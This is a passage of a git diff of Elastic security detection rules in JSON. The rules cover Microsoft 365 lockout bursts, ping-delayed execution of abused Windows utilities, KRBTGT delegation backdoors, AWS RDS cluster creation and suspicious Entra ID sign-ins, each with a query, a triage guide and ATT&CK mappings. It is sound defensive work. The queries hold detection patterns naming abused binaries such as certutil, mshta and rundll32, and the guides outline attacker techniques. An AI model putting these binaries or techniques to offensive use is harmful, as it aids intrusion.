your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Tactic: Execution", - "Tactic: Defense Evasion", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1543", - "name": "Create or Modify System Process", - "reference": "https://attack.mitre.org/techniques/T1543/" - }, - { - "id": "T1574", - "name": "Hijack Execution Flow", - "reference": "https://attack.mitre.org/techniques/T1574/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [] - } - ], - "type": "eql", - "version": 103 - }, - "id": "dc61f382-dc0c-4cc0-a845-069f2a071704_103", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_2.json b/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_2.json deleted file mode 100644 index cae482a028f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/de67f85e-2d43-11f0-b8c9-f661ea17fbcc_2.json +++ /dev/null @@ -1,56 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Multiple Microsoft 365 User Account Lockouts in Short Time Window", - "note": "## Triage and Analysis\n\n### Investigating Multiple Microsoft 365 User Account Lockouts in Short Time Window\n\nDetects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts.\n\nThis rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be performed to the original sign-in and Graph events for further context.\n\n### Investigation Steps\n\n- Review the `user_id_list`: Are specific naming patterns targeted (e.g., admin, helpdesk)?\n- Examine `ip_list` and `source_orgs`: Look for suspicious ISPs or hosting providers.\n- Check `duration_seconds`: A very short window with a high lockout rate often indicates automation.\n- Confirm lockout policy thresholds with IAM or Entra ID admins. Did the policy trigger correctly?\n- Use the `first_seen` and `last_seen` values to pivot into related authentication or audit logs.\n- Correlate with any recent detection of password spraying or credential stuffing activity.\n- Review the `request_type` field to identify which authentication methods were used (e.g., OAuth, SAML, etc.).\n- Check for any successful logins from the same IP or ASN after the lockouts.\n\n### False Positive Analysis\n\n- Automated systems with stale credentials may cause repeated failed logins.\n- Legitimate bulk provisioning or scripted tests could unintentionally cause account lockouts.\n- Red team exercises or penetration tests may resemble the same lockout pattern.\n- Some organizations may have a high volume of lockouts due to user behavior or legacy systems.\n\n### Response Recommendations\n\n- Notify affected users and confirm whether activity was expected or suspicious.\n- Lock or reset credentials for impacted accounts.\n- Block the source IP(s) or ASN temporarily using conditional access or firewall rules.\n- Strengthen lockout and retry delay policies if necessary.\n- Review the originating application(s) involved via `request_types`.\n", - "query": "FROM logs-o365.audit-*\n\n| MV_EXPAND event.category\n| EVAL\n time_window = DATE_TRUNC(5 minutes, @timestamp),\n user_id = TO_LOWER(o365.audit.UserId),\n ip = source.ip,\n login_error = o365.audit.LogonError,\n request_type = TO_LOWER(o365.audit.ExtendedProperties.RequestType),\n asn_org = source.`as`.organization.name,\n country = source.geo.country_name,\n event_time = @timestamp\n\n| WHERE event.dataset == \"o365.audit\"\n AND event.category == \"authentication\"\n AND event.provider IN (\"AzureActiveDirectory\", \"Exchange\")\n AND event.action IN (\"UserLoginFailed\", \"PasswordLogonInitialAuthUsingPassword\")\n AND request_type RLIKE \"(oauth.*||.*login.*)\"\n AND login_error == \"IdsLocked\"\n AND user_id != \"not available\"\n AND o365.audit.Target.Type IN (\"0\", \"2\", \"6\", \"10\")\n AND asn_org != \"MICROSOFT-CORP-MSN-AS-BLOCK\"\n\n| STATS\n unique_users = COUNT_DISTINCT(user_id),\n user_id_list = VALUES(user_id),\n ip_list = VALUES(ip),\n unique_ips = COUNT_DISTINCT(ip),\n source_orgs = VALUES(asn_org),\n countries = VALUES(country),\n unique_country_count = COUNT_DISTINCT(country),\n unique_asn_orgs = COUNT_DISTINCT(asn_org),\n request_types = VALUES(request_type),\n first_seen = MIN(event_time),\n last_seen = MAX(event_time),\n total_lockout_responses = COUNT()\n BY time_window\n\n| EVAL\n duration_seconds = DATE_DIFF(\"seconds\", first_seen, last_seen)\n\n| KEEP\n time_window, unique_users, user_id_list, ip_list,\n unique_ips, source_orgs, countries, unique_country_count,\n unique_asn_orgs, request_types, first_seen, last_seen,\n total_lockout_responses, duration_seconds\n\n| WHERE\n unique_users >= 10 AND\n total_lockout_responses >= 10 AND\n duration_seconds <= 300\n", - "references": [ - "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", - "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", - "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", - "https://github.com/0xZDH/Omnispray", - "https://github.com/0xZDH/o365spray" - ], - "risk_score": 47, - "rule_id": "de67f85e-2d43-11f0-b8c9-f661ea17fbcc", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Data Source: Microsoft 365", - "Data Source: Microsoft 365 Audit Logs", - "Use Case: Threat Detection", - "Use Case: Identity and Access Audit", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "de67f85e-2d43-11f0-b8c9-f661ea17fbcc_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_4.json b/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_4.json deleted file mode 100644 index a96f0f2403b..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e00b8d49-632f-4dc6-94a5-76153a481915_4.json +++ /dev/null @@ -1,209 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies the execution of commonly abused Windows utilities via a delayed Ping execution. This behavior is often observed during malware installation and is consistent with an attacker attempting to evade detection.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Delayed Execution via Ping", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Delayed Execution via Ping\n\nPing, a network utility, can be misused by attackers to delay execution of malicious commands, aiding in evasion. Adversaries may use ping to introduce pauses, allowing them to execute harmful scripts or binaries stealthily. The detection rule identifies suspicious ping usage followed by execution of known malicious utilities, flagging potential threats by monitoring specific command patterns and excluding benign processes.\n\n### Possible investigation steps\n\n- Review the process tree to understand the sequence of events, focusing on the parent-child relationship between cmd.exe, ping.exe, and any subsequent suspicious processes like rundll32.exe or powershell.exe.\n- Examine the command line arguments used with ping.exe to determine the delay introduced and assess if it aligns with typical malicious behavior.\n- Investigate the user account associated with the process execution, especially if the user.id is not S-1-5-18, to determine if the account has been compromised or is being misused.\n- Check the file path and code signature of any executables launched from the user's AppData directory to verify if they are trusted or potentially malicious.\n- Analyze the command line arguments and working directory of any suspicious processes to identify any known malicious patterns or scripts being executed.\n- Correlate the alert with any other recent alerts or logs from the same host or user to identify potential patterns or ongoing malicious activity.\n\n### False positive analysis\n\n- Legitimate administrative scripts or maintenance tasks may use ping to introduce delays, especially in batch files executed by system administrators. To handle this, identify and exclude specific scripts or command lines that are known to be safe.\n- Software installations or updates might use ping for timing purposes. Review the command lines and parent processes involved, and create exceptions for trusted software paths or signatures.\n- Automated testing environments may use ping to simulate network latency or wait for services to start. Exclude these processes by identifying the testing framework or environment and adding it to the exception list.\n- Some legitimate applications might use ping as part of their normal operation. Monitor these applications and, if verified as safe, exclude their specific command patterns or executable paths.\n- Regularly review and update the exception list to ensure it reflects the current environment and any new legitimate use cases that arise.\n\n### Response and remediation\n\n- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement.\n- Terminate any suspicious processes identified in the alert, such as those involving ping.exe followed by the execution of known malicious utilities.\n- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malware or unauthorized software.\n- Review and analyze the command history and logs of the affected system to understand the scope of the attack and identify any additional compromised systems.\n- Restore the system from a known good backup if malware removal is not feasible or if the system's integrity is in question.\n- Implement application whitelisting to prevent unauthorized execution of scripts and binaries, focusing on the utilities identified in the alert.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.", - "query": "sequence by process.parent.entity_id with maxspan=1m\n [process where host.os.type == \"windows\" and event.action == \"start\" and process.name : \"ping.exe\" and\n process.args : \"-n\" and process.parent.name : \"cmd.exe\" and not user.id : \"S-1-5-18\"]\n [process where host.os.type == \"windows\" and event.action == \"start\" and\n process.parent.name : \"cmd.exe\" and\n (\n process.name : (\n \"rundll32.exe\", \"powershell.exe\",\n \"mshta.exe\", \"msbuild.exe\",\n \"certutil.exe\", \"regsvr32.exe\",\n \"powershell.exe\", \"cscript.exe\",\n \"wscript.exe\", \"wmic.exe\",\n \"installutil.exe\", \"msxsl.exe\",\n \"Microsoft.Workflow.Compiler.exe\",\n \"ieexec.exe\", \"iexpress.exe\",\n \"RegAsm.exe\", \"installutil.exe\",\n \"RegSvcs.exe\", \"RegAsm.exe\"\n ) or\n (process.executable : \"?:\\\\Users\\\\*\\\\AppData\\\\*.exe\" and not process.code_signature.trusted == true)\n ) and\n\n not process.args : (\"?:\\\\Program Files\\\\*\", \"?:\\\\Program Files (x86)\\\\*\") and\n not (process.name : (\"openssl.exe\", \"httpcfg.exe\", \"certutil.exe\") and process.parent.command_line : \"*ScreenConnectConfigurator.cmd*\") and\n not (process.pe.original_file_name : \"DPInst.exe\" and process.command_line : \"driver\\\\DPInst_x64 /f \") and\n not (process.name : \"powershell.exe\" and process.args : \"Write-Host ======*\") and\n not (process.name : \"wscript.exe\" and process.args : \"launchquiet_args.vbs\" and process.parent.args : \"?:\\\\Windows\\\\TempInst\\\\7z*\") and\n not (process.name : \"regsvr32.exe\" and process.args : (\"?:\\\\windows\\\\syswow64\\\\msxml?.dll\", \"msxml?.dll\", \"?:\\\\Windows\\\\SysWOW64\\\\mschrt20.ocx\")) and\n not (process.name : \"wscript.exe\" and\n process.working_directory :\n (\"?:\\\\Windows\\\\TempInst\\\\*\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\BackupBootstrapper\\\\Logs\\\\\",\n \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\QBTools\\\\\"))\n ]\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.code_signature.trusted", - "type": "boolean" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.pe.original_file_name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.working_directory", - "type": "keyword" - }, - { - "ecs": true, - "name": "user.id", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "e00b8d49-632f-4dc6-94a5-76153a481915", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Execution", - "Tactic: Defense Evasion", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - }, - { - "id": "T1059.005", - "name": "Visual Basic", - "reference": "https://attack.mitre.org/techniques/T1059/005/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1216", - "name": "System Script Proxy Execution", - "reference": "https://attack.mitre.org/techniques/T1216/" - }, - { - "id": "T1218", - "name": "System Binary Proxy Execution", - "reference": "https://attack.mitre.org/techniques/T1218/", - "subtechnique": [ - { - "id": "T1218.003", - "name": "CMSTP", - "reference": "https://attack.mitre.org/techniques/T1218/003/" - }, - { - "id": "T1218.004", - "name": "InstallUtil", - "reference": "https://attack.mitre.org/techniques/T1218/004/" - }, - { - "id": "T1218.005", - "name": "Mshta", - "reference": "https://attack.mitre.org/techniques/T1218/005/" - }, - { - "id": "T1218.009", - "name": "Regsvcs/Regasm", - "reference": "https://attack.mitre.org/techniques/T1218/009/" - }, - { - "id": "T1218.010", - "name": "Regsvr32", - "reference": "https://attack.mitre.org/techniques/T1218/010/" - }, - { - "id": "T1218.011", - "name": "Rundll32", - "reference": "https://attack.mitre.org/techniques/T1218/011/" - } - ] - }, - { - "id": "T1220", - "name": "XSL Script Processing", - "reference": "https://attack.mitre.org/techniques/T1220/" - }, - { - "id": "T1497", - "name": "Virtualization/Sandbox Evasion", - "reference": "https://attack.mitre.org/techniques/T1497/", - "subtechnique": [ - { - "id": "T1497.003", - "name": "Time Based Evasion", - "reference": "https://attack.mitre.org/techniques/T1497/003/" - } - ] - } - ] - } - ], - "type": "eql", - "version": 4 - }, - "id": "e00b8d49-632f-4dc6-94a5-76153a481915_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e052c845-48d0-4f46-8a13-7d0aba05df82_213.json b/packages/security_detection_engine/kibana/security_rule/e052c845-48d0-4f46-8a13-7d0aba05df82_213.json new file mode 100644 index 00000000000..480422c79d5 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e052c845-48d0-4f46-8a13-7d0aba05df82_213.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "KRBTGT Delegation Backdoor", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating KRBTGT Delegation Backdoor\n\nIn Active Directory, the KRBTGT account is crucial for Kerberos ticket granting. Adversaries may exploit this by altering the msDS-AllowedToDelegateTo attribute, enabling unauthorized ticket requests and persistent domain access. The detection rule identifies such modifications by monitoring specific event actions and codes, flagging high-risk changes to the KRBTGT delegation settings.\n\n### Possible investigation steps\n\n- Review the event logs for the specific event code 4738 to identify the user account that was modified and verify if the msDS-AllowedToDelegateTo attribute includes the KRBTGT service.\n- Investigate the user account that performed the modification by checking their recent activities and login history to determine if the action was authorized or suspicious.\n- Examine the timeline of the modification event to correlate it with any other unusual activities or alerts in the network around the same time.\n- Check for any other modifications to sensitive attributes or accounts in Active Directory that might indicate a broader compromise.\n- Assess the potential impact on the domain by evaluating the access level and permissions of the modified account and any associated systems or services.\n- Consult with the IT security team to determine if there are any known maintenance activities or changes that could explain the modification, ensuring it was not a legitimate administrative action.\n\n### False positive analysis\n\n- Routine administrative tasks involving legitimate changes to the msDS-AllowedToDelegateTo attribute for service accounts may trigger alerts. Review the context of the change and verify with the IT team if it aligns with scheduled maintenance or updates.\n- Automated scripts or tools used for Active Directory management might modify delegation settings as part of their operations. Identify these scripts and exclude their activity from triggering alerts by creating exceptions based on the script's signature or the account used.\n- Changes made by trusted third-party applications that require delegation for functionality can be mistaken for malicious activity. Document these applications and adjust the detection rule to exclude their known and expected behavior.\n- Regular audits or compliance checks that involve modifications to delegation settings should be accounted for. Coordinate with audit teams to schedule these activities and temporarily adjust monitoring rules to prevent false positives during these periods.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or ticket requests using the KRBTGT account.\n- Revert any unauthorized changes to the msDS-AllowedToDelegateTo attribute for the KRBTGT account by restoring it to its previous state using a known good backup or manually resetting the attribute.\n- Reset the KRBTGT account password twice to invalidate any existing Kerberos tickets that may have been issued using the compromised delegation settings.\n- Conduct a thorough review of recent changes to user accounts and delegation settings in Active Directory to identify any other potential unauthorized modifications.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise.\n- Implement enhanced monitoring for changes to critical accounts and attributes in Active Directory, focusing on the KRBTGT account and similar high-value targets.\n- Review and update access controls and delegation permissions to ensure that only authorized personnel have the ability to modify sensitive attributes like msDS-AllowedToDelegateTo.", + "query": "iam where host.os.type == \"windows\" and event.code == \"4738\" and winlog.event_data.AllowedToDelegateTo : \"*krbtgt*\"\n", + "references": [ + "https://skyblue.team/posts/delegate-krbtgt", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AllowedToDelegateTo", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "e052c845-48d0-4f46-8a13-7d0aba05df82", + "setup": "## Setup\n\nThe 'Audit User Account Management' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nAccount Management >\nAudit User Account Management (Success,Failure)\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1558", + "name": "Steal or Forge Kerberos Tickets", + "reference": "https://attack.mitre.org/techniques/T1558/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 213 + }, + "id": "e052c845-48d0-4f46-8a13-7d0aba05df82_213", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d_210.json b/packages/security_detection_engine/kibana/security_rule/e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d_210.json new file mode 100644 index 00000000000..88c8fde739f --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d_210.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions.", + "false_positives": [ + "Valid clusters may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Cluster creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS RDS Cluster Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS RDS Cluster Creation\n\nAmazon RDS facilitates database management by automating tasks like hardware provisioning and backups. Adversaries may exploit RDS by creating unauthorized clusters to exfiltrate data or establish persistence. The detection rule monitors successful creation events of RDS clusters, flagging potential misuse by correlating specific actions and outcomes, thus aiding in identifying unauthorized activities.\n\n### Possible investigation steps\n\n- Review the event details in AWS CloudTrail to confirm the event.dataset is 'aws.cloudtrail' and the event.provider is 'rds.amazonaws.com', ensuring the alert is based on the correct data source.\n- Verify the identity of the user or service account that initiated the CreateDBCluster or CreateGlobalCluster action by examining the user identity information in the event logs.\n- Check the event time and correlate it with any other suspicious activities or alerts in the same timeframe to identify potential patterns or coordinated actions.\n- Investigate the source IP address and geolocation associated with the event to determine if it aligns with expected access patterns or if it indicates unauthorized access.\n- Assess the configuration and settings of the newly created RDS cluster, including security groups, network settings, and any associated IAM roles, to identify potential security misconfigurations or vulnerabilities.\n- Review the AWS account's recent activity for any other unusual or unauthorized actions that might indicate broader compromise or misuse.\n\n### False positive analysis\n\n- Routine maintenance or testing activities by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles known to perform these tasks regularly.\n- Automated scripts or tools used for infrastructure management might create RDS clusters as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific tags or identifiers.\n- Scheduled deployments or updates that involve creating new RDS clusters can be mistaken for unauthorized activity. Document these schedules and configure the detection rule to ignore events during these timeframes.\n- Development or staging environments often involve frequent creation and deletion of RDS clusters. Exclude these environments from monitoring by filtering based on environment-specific tags or naming conventions.\n- Partner or third-party integrations that require creating RDS clusters should be reviewed and whitelisted if deemed non-threatening, ensuring that their actions do not generate false positives.\n\n### Response and remediation\n\n- Immediately isolate the newly created RDS cluster to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.\n- Review CloudTrail logs to identify the IAM user or role responsible for the creation of the RDS cluster. Verify if the action was authorized and if the credentials have been compromised.\n- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.\n- Conduct a thorough audit of the RDS cluster configuration and data to assess any potential data exposure or integrity issues. If sensitive data is involved, consider notifying relevant stakeholders and following data breach protocols.\n- Implement additional monitoring and alerting for RDS-related activities, focusing on unusual patterns or actions that align with persistence tactics, to enhance detection capabilities.\n- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary.\n- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized RDS cluster creation in the future.", + "query": "event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(CreateDBCluster or CreateGlobalCluster) and event.outcome:success\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-db-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBCluster.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-global-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateGlobalCluster.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS RDS", + "Use Case: Asset Visibility", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1133", + "name": "External Remote Services", + "reference": "https://attack.mitre.org/techniques/T1133/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_1.json b/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_1.json deleted file mode 100644 index 3d5db6924ae..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e3bd85e9-7aff-46eb-b60e-20dfc9020d98_1.json +++ /dev/null @@ -1,60 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources.", - "false_positives": [ - "Users authenticating from multiple devices and using the deviceCode protocol or the Visual Studio Code client." - ], - "from": "now-60m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Entra ID Concurrent Sign-Ins with Suspicious Properties", - "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Concurrent Sign-Ins with Suspicious Properties\n\n### Possible investigation steps\n\n- Review the sign-in logs to assess the context and reputation of the source.ip address.\n- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious.\n- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise.\n- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access.\n- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user.\n\n### Response and remediation\n\n- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions.\n- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid.\n- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse.\n- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise.\n- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts.\n- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats.\n- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event.", - "query": "FROM logs-azure.signinlogs* metadata _id, _version, _index\n// the rule is scheduled to run every hour and looks for events occured during last 1 hour.\n| where @timestamp > NOW() - 1 hours\n| where event.dataset == \"azure.signinlogs\" and source.ip is not null and azure.signinlogs.identity is not null and to_lower(event.outcome) == \"success\"\n| keep @timestamp, azure.signinlogs.identity, source.ip, azure.signinlogs.properties.authentication_requirement, azure.signinlogs.properties.app_id, azure.signinlogs.properties.resource_display_name, azure.signinlogs.properties.authentication_protocol, azure.signinlogs.properties.app_display_name\n// devicecode authentication no MFA\n| eval device_code = case(azure.signinlogs.properties.authentication_protocol == \"deviceCode\" and azure.signinlogs.properties.authentication_requirement != \"multiFactorAuthentication\", azure.signinlogs.identity, null),\n// potential Visual Studio Code OAuth code phish - sign-in events with client set to Visual Studio Code\n visual_studio = 